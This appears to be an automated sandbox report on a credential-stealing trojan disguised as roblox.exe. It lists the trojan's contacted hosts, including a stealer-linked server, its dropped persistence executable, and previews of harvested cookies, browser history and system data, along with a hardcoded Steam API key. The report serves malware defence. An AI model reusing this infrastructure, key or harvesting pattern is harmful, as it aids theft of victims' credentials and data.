https://www.python.org/download/releases/2.3/mro/.	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573379451.0000028959DD0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/asyncio-eventloop.html	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569713444.0000028959589000.00000004.00000020.00020000.00000000.sdmp	false		high
https://discord.gg/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org/	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0749/)-implementing	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.firmaprofesional.com/cps0	stub.exe, 00000003.00000003.2559086976.000002895A369000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2561264236.000002895A394000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2558673429.000002895A319000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-attrs/attrs	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crlfts4aux	stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/IPlayerService/GetSteamLevel/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crlfts3	stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl2;	stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.spotify.com/api/account-settings/v1/profile	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569981910.00000289598EC000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.00000289598EE000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hynek.me/articles/import-attrs/)	roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
135.181.65.219	restores.name	Germany		24940	HETZNER-ASDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577522
Start date and time:	2024-12-18 14:52:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	60
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	roblox.exe
Detection:	MAL
Classification:	mal100.spre.phis.troj.spyw.evad.winEXE@108/57@2/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 1532 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 828 because it is empty
Execution Graph export aborted for target roblox.exe, PID 6600 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: roblox.exe

Simulations

Behavior and APIs

Time	Type	Description
08:54:00	API Interceptor	5x Sleep call for process: WMIC.exe modified
08:54:20	API Interceptor	29x Sleep call for process: powershell.exe modified
08:54:32	API Interceptor	2x Sleep call for process: stub.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	ip-api.com/json
	x.ps1	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	ip-api.com/json/
	Creal.exe	Get hash	malicious	Blackshades	Browse	ip-api.com/json/
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	msedge.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	imagelogger.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	208.95.112.1
	x.ps1	Get hash	malicious	Quasar	Browse	208.95.112.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	208.95.112.2
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Creal.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	msedge.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
restores.name	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	135.181.65.219
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	135.181.65.219
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	89.248.174.171
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	89.248.174.171
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	89.248.174.171
	JGKjBsQrMc.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	65.0.21.192
	KfxEYxBsJm.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Python.Stealer.1548.11147.30861.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	SecuriteInfo.com.Win64.Evo-gen.16643.7451.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	65.0.21.192
	file.exe	Get hash	malicious	Python Stealer, Amadey, LummaC Stealer, Mars Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	65.0.21.192

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	loligang.spc.elf	Get hash	malicious	Mirai	Browse	195.201.143.203
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	135.181.65.219
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	116.202.93.69
	3.elf	Get hash	malicious	Unknown	Browse	136.243.79.47
	5.msi	Get hash	malicious	DanaBot, Nitol	Browse	148.251.107.246
	Setup.msi	Get hash	malicious	Vidar	Browse	116.203.12.114
	https://6movies.stream/series/cobra-kai-80711/6-4/	Get hash	malicious	Unknown	Browse	136.243.81.150
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	116.202.150.27
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	5.9.121.207
	JkICQ13OOY.dll	Get hash	malicious	Unknown	Browse	136.243.3.194
TUT-ASUS	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	208.95.112.1
	x.ps1	Get hash	malicious	Quasar	Browse	208.95.112.1
	https://funcilnewshical.com/76e41238-e8a4-483e-8f1d-ad83b34d4805?batchid=Douglasgrimes-Testsetup&carrier=carrier&textid=textid&brand=register.douglasgrimes.com&source=source&messageId=messageId&name=Lisa&phone=phone&step=step&domain=domain&cost=cost	Get hash	malicious	Unknown	Browse	208.95.112.2
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Shipping Bill6239999 dated 13122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	208.95.112.1
	Creal.exe	Get hash	malicious	Blackshades	Browse	208.95.112.1
	factura 000601.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	Orden de compra_#000000090764534236475890765432567890765768978687569867970875766868.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	msedge.exe	Get hash	malicious	XWorm	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_asyncio.pyd	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse
	end.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.19901.26035.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
	SecuriteInfo.com.Trojan.PWS.Stealer.39881.9434.15338.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Cryptbot, Monster Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.Win64.Evo-gen.11830.19095.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse
C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11169792
Entropy (8bit):	7.997458781189106
Encrypted:	true
SSDEEP:	196608:EXJw5XZ54Gu3tLvKixbJ5qtWwgbBnNUm1ae30eL3h8g3SGXm4iF+gPa:Gy3RCBKixdoYwgNNp1IeSQSGWpFj
MD5:	6898EACE70E2DA82F257BC78CB081B2F
SHA1:	5AC5ED21436D8B4C59C0B62836D531844C571D6D
SHA-256:	BCDD8B7C9EC736765D4596332C0FEC1334B035D4456DF1EC25B569F9B6431A23
SHA-512:	CA719707417A095FE092837E870AEFC7E8874EF351E27B5B41E40F46A9E2F6CB2BA915858BC3C99A14C2F1288C71C7DDD9C2ADEE6588D6B43CD3BA276E1585D2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: random.exe.6.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...-b[g...............+.....l...>..%..........@............................. ......{.....`... ..........................................................X... ..............................................`...(...................h................................text...(...........................`..`.data...............................@....rdata...*.......,..................@..@.eh_fram............................@....pdata....... ......................@..@.xdata..p....0......................@..@.bss.....<...@...........................idata..............................@....CRT....`...........................@....tls................................@....rsrc....X.......Z..................@..@.reloc...............n..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	479271
Entropy (8bit):	7.997411110289702
Encrypted:	true
SSDEEP:	12288:ypRlyGd2qtnN4mpkuBRvgPB1Q+wvCq1CGAUd:CRks2qtbpdRuByfqR8
MD5:	C2FD65858D3378C7A6DCA05264BC3B34
SHA1:	4C2FDBAC85971DCC48BDDB10A3FABB2FF42C2487
SHA-256:	B623AE45FD301C0335E2C2D82DBB4DBDABC7941DF79896329434FE5A53AD6338
SHA-512:	E612E2376C577EE2F255F494E749A2F34C776AE0223F4CF1E52A24B2C207510D6A0F71A5E7DBF611E70ADB46049EA7CF38D064E314D3B653F22EF5B39A3A6418
Malicious:	false
Preview:	PK.........F.Y................Browsers/PK.........F.Y................Wallets/PK.........F.Yc.G.............network_info.txt....r....2..KR.........31.342.3.......,IMQ...Y...Z..._....Z..............(.+8...U.d.e+8......d....(..8+8.....)...$..5...PK.........F.Y......[b......process_info.txt.\Ko.F........R.sv7@.M..n....9..-..D.....w...A;.._A7I....\|.<..5.nq..U_u./<.x....xvq..r..V...}.b.X,.t}._\nv..}...K.y....._2..L......-...N....^...7.............."P.<.j[w}....j..G!..Cv....z.N ..0....!.].`Z.....)...>..}.5.t.IRF...N.Z...5...R.@....&A..6.<!....#i..........1z.u+..B...H:b.._.4]...d.Nx...C.i.y..Il.9.$.F..].d.....t.U...G.q...s...}.1...7BI.k......Y..`T.c.....<..V..Jb.F..o.tP..B....a.$..k..........9.......(.-Q..JKa..4.k0b.J.X...."'..L.I......l..H..3.........~..St..X...).R..%.&..E.L Y)a.....En..B3.]....H#."[....B..U.RH.6.I..`QPI.....T.x.{l.]w..b.W.X.]..cV)..0..._F.Zg:6..S.`...U....[....k.x......<e).W....N..jW.o?6...9m.............%..4..Q."

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Cookies.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.231488812233862
Encrypted:	false
SSDEEP:	12:LGVvq7EEQ074KcW1NOpFwUuQLHaU9WvH9:LGVvzEpTaOk6U9WvH9
MD5:	ACD9D5A0C97574F32F4884551DE8074C
SHA1:	17838CEAA5AA3DA056634296921B620AD79EFF8A
SHA-256:	562D0C0E4D59C1D418DECF0A8AB86BD94C3C8FD25F139C702A2E27A7012F03E5
SHA-512:	90ECD7701A7B6D7A867362B122448A861CFC04BB31BF84AB791A083D104F6B06161A63518A217DFF1084FF2E39895D06950A2A8D44B2D3D03BDEF95DE66A46E9
Malicious:	true
Preview:	----------------------logs pirates----------------------..======================================================================...google.com.TRUE./.FALSE.13343492415760663.1P_JAR.2023-10-04-13...google.com.TRUE./.FALSE.13356711615760707.NID.511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4..

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\Browsers\Firefox\History.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	5.112259616295068
Encrypted:	false
SSDEEP:	24:LGVvErxsM0T/CrxsaQT/iWifT/QiRJT/TiCQERoT/WieroZiJbY:LGNQ8mVcexFMwkcMsU
MD5:	9FDEEB1E463882DB74CDCC98CAE73477
SHA1:	38D862B22A0ED7C7DA4E22E08851440F1257F2DD
SHA-256:	EAD5B73936B1AF85C4669F16BFB56D19DCC561C3BB53CDA822020CDAAC2ED4E4
SHA-512:	F0F1237CAF3D1FD1CD762FC170565CE0210C450F890C8118FEDF0AA63A2E12BC51BE70F6C6A9E3B7B1E44487B4BB9A9A64E60D6E57F4FE2EE1FD19D4A9848CF5
Malicious:	true
Preview:	----------------------logs pirates----------------------..======================================================================..ID: 1 \| URL: https://support.mozilla.org/products/firefox \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 2 \| URL: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 3 \| URL: https://www.mozilla.org/contribute/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 4 \| URL: https://www.mozilla.org/about/ \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 5 \| URL: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaign=new-users&utm_content=-global \| Title: None \| Visit Count: 0 \| Last Visit Time: None..ID: 6 \| URL: https://www.mozilla.org/privacy/firefox/ \| Title: None \| Visit Count: 1 \| Last Visit Time: 1696426831785000..I

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\network_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	253
Entropy (8bit):	4.164795085421968
Encrypted:	false
SSDEEP:	3:1110Vv7L49MHUXMERwLM7N3U2bX5A3EwAyEY5HLWLASPVXqI:LGVvF0X3RwwN3UuJA01K5CLpqI
MD5:	1266DCAF5767F5A311ADDE04357689AB
SHA1:	12C95CCFF0D81A3DC6A2044C182DE9780224E6BA
SHA-256:	F76AD1317B94E7CD981E4454244F0E6E03C0569B39780FC0040495240C850B2F
SHA-512:	C78A166A60932CA2E6A7D18B193374C605F9D733C989558F4EA0D5AD09A6AEACCB26114A855711FA6474C44302ED8F553C6B1AE304AECECC33FCFFA3040D9FE3
Malicious:	true
Preview:	----------------------logs pirates----------------------..======================================================================..8.46.123.189..United States..New York..America/New_York..Level 3 CenturyLink Communications, LLC AS3356 Level 3 Parent, LLC

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\process_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	25179
Entropy (8bit):	4.559060410177847
Encrypted:	false
SSDEEP:	384:6WRE/hht2TSLlS+PRgz2dUCG7zKypRn4mbBaA8ciy+Hpjq3FpzCAbN6BW+PDorDh:LO/e2g5A7I
MD5:	8208B03652D07ECBE5B8E56009083887
SHA1:	30B520D9994764F74C7D60FFD6E540141628C220
SHA-256:	E509FC08CE8E8B9A7E8AD565A2C89210ED183A4244590F29A0AB76C9367E6E3D
SHA-512:	B20D82122E3C7A0769226C8EC58BE7048F5AD3319F878A66FEF11DAE38F0ACEF1BA44DE586127197E4D373AAF5B5C5EC35A9FF065D72A574DC56B1F35F9AB83D
Malicious:	true
Preview:	----------------------logs pirates----------------------..======================================================================.....Image Name: System Idle Process...PID: 0...Session Name: Services...Session#: 0...Mem Usage: 8 K......Image Name: System...PID: 4...Session Name: Services...Session#: 0...Mem Usage: 180 K......Image Name: Registry...PID: 92...Session Name: Services...Session#: 0...Mem Usage: 79'032 K......Image Name: smss.exe...PID: 332...Session Name: Services...Session#: 0...Mem Usage: 1'224 K......Image Name: csrss.exe...PID: 420...Session Name: Services...Session#: 0...Mem Usage: 5'276 K......Image Name: wininit.exe...PID: 496...Session Name: Services...Session#: 0...Mem Usage: 7'220 K......Image Name: csrss.exe...PID: 504...Session Name: Console...Session#: 1...Mem Usage: 6'024 K......Image Name: winlogon.exe...PID: 564...Session Na

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\screenshot.png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486791
Entropy (8bit):	7.942452424414829
Encrypted:	false
SSDEEP:	12288:6Wy68/5lDOxK3h+pQlcU+WrQarDGcsPo5Li6P4:3y6g5laU3plZ+WMyDZ5nP4
MD5:	CA556D5FEF7C08C2729B7ED493345704
SHA1:	D52E11FCE187DB1EEFBA44A5D9DCA52BBEC2891E
SHA-256:	531EBC041044C0587CCB077831B9E097408E615045E4310E230EEE7BE76D27B2
SHA-512:	444018D2749A72FB976EF65DEF61547D038A48A356DB3F958DE8A43693D197C0807F2C8F6AE8D1F2A79F2D7043EE81D9AB295945B913210877A14FBFA0416719
Malicious:	false
Preview:	.PNG........IHDR.......8........C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^......u...s.....\|..dY3.Z...x....ec..K..&7.....e..B"..$....Ba.`."...$.h.... .P...S..{.>u.I....Z.YU.kW..ny.~f..j...0Z^...].kg.^4..3_.K...uz...i....N...p..:Q\|.2...k.....S&i..\h}......;,....I?..c'..?......WZ.......=i.......}.3}.;..}.....FM...b......c3...'f....].}l..?..P.e.?..i}...O<..>.....{.'c..q...?.....~.a.C.....4-..XW.......~.}=......T./.;..7...{~.0...L.'~........g...O...b.m.t@l...&.......>..f....q..[..-w6..\|...}...u..0.-w.......w$..6...X9.......s.h.p{h.9r.ma........>.....1....xV.s.C.M.&4...&6..w....3.[...tK....?.]....)6w.[.7.}c~/V...&...%...9..Z....)~...\.O?g.....3/.s..<....qk......xN{.Rocc.y.9.ab.....5....k{.h.~c....0o.xn..\..{..{.sw.1.w.!............k`.s...}k.kS..nJL.....{.>/~........k...n.....].K0..:.5.....c.I..rm.........'.<bc..K..\..._..sw..7B....f.1.9..f.:.....=K...?..O,.y;_......11....k.w..y..\|../..Jy...L1..y<.5=Og.

C:\Users\user\AppData\Local\Temp\2ED92742-89DC-DD72-92E8-869FA5A66493\system_info.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe
File Type:	Algol 68 source, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	143873
Entropy (8bit):	4.330851293909045
Encrypted:	false
SSDEEP:	1536:W7YtXTFkDumyoVYmiT8LPvdBG9thi0v5aABGnSvCLVGOjdGMddtfGknZdD23vO7V:WEm5zD
MD5:	A526DA756EB7AE5B6E19DAD28B2728D3
SHA1:	8DBE348B4C01AE492732F22CC5801A5073F944AD
SHA-256:	66D61B5883A436E7E451EBAB43D3749799F4C6CFF5A93677E1B7C2408F21B3B3
SHA-512:	7BFCF9F5AD7CE028ABA5DB2DD3C800A758EB3ADBA5BE79E6C80AE3AF6C575AFD4C530ED0D5CBEAD689D3A98B8C89F4D013C2C5F430BF5C4A3FEDD114B2A7570E
Malicious:	true
